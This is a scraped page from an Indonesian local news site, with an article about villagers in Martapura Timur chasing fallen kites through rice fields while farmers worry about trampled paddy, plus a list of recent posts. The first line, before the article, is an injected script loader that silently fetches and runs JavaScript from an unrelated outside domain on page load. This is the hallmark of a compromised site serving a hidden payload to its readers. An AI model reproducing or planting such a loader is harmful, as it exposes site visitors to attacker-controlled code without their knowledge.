(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

‘Tradisi’ Unik Warga Martapura Timur Kejar Layangan Putus di Sawah, Petani Was-was Padinya Patah Terinjak


KANALKALIMANTAN.COM, MARTAPURA – Warga Desa Pekauman Ulu, Kecamatan Martapura Timur, Kabupaten Banjar, punya kebiasaan cukup unik. Hampir setiap hari menjelang sore, mereka beramai-ramai mendatangi area persawahan. Bukan hendak bercocok tanam atau memanen padi, tetapi menunggu layangan putus dan kemudian mengejarnya ramai-ramai!

Tak hanya anak-anak, bahkan orang dewasa pun ikut mengejar layangan yang putus di area persawahan. Pokoknya seru.

Warga mulai berdatangan di area persawahan mulai dari pukul 16.00 Wita sampai menjelang Maghrib. Hal ini tentu menarik perhatian pengendara yang lewat dan menjadi hiburan tersendiri bagi warga setempat.

Zaini salah satu warga Desa Pekauman Ulu mengatakan, hampir setiap sore hari ia bersama teman-temannya mengejar layangan di area perasawahan. “Ya, setiap sore. Sekalian olahraga cari keringat,” katanya kepada Kanalkalimantan.com, Jum’at (2/10/2020) sore.

Namun di sisi lain, kebiasaan para anak anak yang mengejar layangan putus di area persawahan ini membuat khawatir para petani di sana. Salah satunya Juki, yang khawatir padi masih hijau akan terinjak-injak oleh anak anak yang sedang asik mengejar layangan putus. Pastinya, batang-batang padi menjadi patah.

“Maka setiap sore saya hanya menjaga saja, takutnya ada yang sampai menginjak padi punya saya,” katanya.

Meski ada kekhawatiran, tapi Juki tak kuasa melarang anak-anak yang sedang asik mengejar layangan putus. Walaupun harus berteriak untuk memberikan teguran jika dirasa akan merusak tanamannya.

“Paling tidak kita beri teguran saja, dan walaupun ada yang terinjak saya benarkan lagi padi yang terinjak itu, sebelum padi itu patah atau pun layu,” pungkasnya. (Kanalkalimantan.com/wahyu)

Reporter : Wahyu
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.